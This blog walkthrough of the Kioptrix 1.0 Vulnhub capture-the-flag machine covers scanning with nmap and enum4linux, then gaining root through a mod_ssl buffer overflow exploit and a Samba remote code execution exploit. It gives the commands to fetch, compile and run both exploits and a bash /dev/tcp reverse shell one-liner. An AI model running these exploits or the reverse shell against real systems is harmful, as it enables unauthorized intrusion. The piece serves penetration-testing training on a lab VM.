Home Capture the Flag Kioptrix 1.0 – Vulnhub CTF Challenge Walkthrough

Kioptrix 1.0 – Vulnhub CTF Challenge Walkthrough

by Unallocated Author

Kioptrix 1.0 is the first level of the Kioptrix machines CTF challenges. As you can understand this is the easiest challenge to solve. The main focus of this machine is to learn how to use basic enumeration and  generate the right exploits to penetrate the target.

Enumeration Phase

So we have already booted up the machine with virtualbox (if you have a problem installing the machine in virtualbox, check this article). First things first, we need to determine the IP of the target.

netdiscover -r 192.168.1.1/24

So, now we perform a simple nmap scan to our target machine to see only the services that are running.

nmap -sV -vv -T4 [ip]

We see some interesting open ports. Generally speaking, when you see the Samba service running (port 139), search it more to find anything interesting. We also can see that the Apache server has the mod_ssl/2.8.4, which has a very popular Buffer Overflow vulnerability. However, in this write-up we are going to exploit the target in both ways. Let’s first check the samba version.

enum4linux -a [ip]

From the results we can see that the Samba version is 2.2.1a. With a little Google search we can see that all the Samba versions prior to 2.2.8 are vulnerable to a known Remote code Execution. With all this info, let’s go to the exploitation phase.

Exploitation Phase

Exploiting Mod_ssl

Searching with ‘searchsploit‘, we find the BOF exploit for mod_ssl vulnerability.

searchsploit mod_ssl

It’s a known exploit with the name ‘openfuck‘. However the exploit is deprecated and you need to use the updated version. Clone the repo below to use the updated version of the exploit. Then go to the folder and compile the script.

git clone https://github.com/heltonWernik/OpenFuck.git
cd OpenFuck/
gcc -o OpenFuck OpenFuck.c -lcrypto

From the nmap scan before, we know that the server is using the Apache 1.3.20 version (0x6b in our example). So type the command below to run the exploit successfully.

./OpenFuck 0x6b 192.168.1.104 -c 40

As, we can see we have successfully exploited the server and got a root shell!

Exploiting Samba

Searching again with ‘searchsploit‘ we find a Remote Code Execution that affects all the Samba versions prior to 2.2.8.

Compile the exploit.

gcc /usr/share/exploitdb/exploits/multiple/remote/10.c -o samba_exploit

Run the exploit as shown below and we immediately got a root shell.

./samba_exploit -b 0 [ip]
  • If you want a fully interactive shell, type the address below to your target’s shell and open a netcat connection as shown below.
bash -i >& /dev/tcp/[your ip]/[port] 0>&1

And in another shell type;

nc -nlvp [port]

Conclusions

The first level of the Kioptrix machines was very easy to exploit. You learned about basic enumeration and searching for the right exploit to penetrate the target. You, also learned about two very famous vulnerabilities – mod_ssl Buffer Overflow and Samba <2.2.8 Remote Code Execution.

Want to learn more about ethical hacking?

We have a  networking hacking course that is of a similar level to OSCP, get an exclusive 95% discount HERE

You may also like

Latest Hacking News

Privacy Preference Center

Necessary

The __cfduid cookie is used to identify individual clients behind a shared IP address and apply security settings on a per-client basis.

cookie_notice_accepted and gdpr[allowed_cookies] are used to identify the choices made from the user regarding cookie consent.

For example, if a visitor is in a coffee shop where there may be several infected machines, but the specific visitor's machine is trusted (for example, because they completed a challenge within your Challenge Passage period), the cookie allows Cloudflare to identify that client and not challenge them again. It does not correspond to any user ID in your web application, and does not store any personally identifiable information.

__cfduid, cookie_notice_accepted, gdpr[allowed_cookies]

Advertising

DoubleClick by Google refers to the DoubleClick Digital Marketing platform which is a separate division within Google. This is Google’s most advanced advertising tools set, which includes five interconnected platform components.

DoubleClick Campaign Manager: the ad-serving platform, called an Ad Server, that delivers ads to your customers and measures all online advertising, even across screens and channels.

DoubleClick Bid Manager – the programmatic bidding platform for bidding on high-quality ad inventory from more than 47 ad marketplaces including Google Display Network.

DoubleClick Ad Exchange: the world’s largest ad marketplace for purchasing display, video, mobile, Search and even Facebook inventory.

DoubleClick Search: is more powerful than AdWords and used for purchasing search ads across Google, Yahoo, and Bing.

DoubleClick Creative Solutions: for designing, delivering and measuring rich media (video) ads, interactive and expandable ads.

doubleclick

Analytics

The _ga is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.

The _gat global object is used to create and retrieve tracker objects, from which all other methods are invoked. Therefore the methods in this list should be run only off a tracker object created using the _gat global variable. All other methods should be called using the _gaq global object for asynchronous tracking.

_gid works as a user navigates between web pages, they can use the gtag.js tagging library to record information about the page the user has seen (for example, the page's URL) in Google Analytics. The gtag.js tagging library uses HTTP Cookies to "remember" the user's previous interactions with the web pages.

_ga, _gat, _gid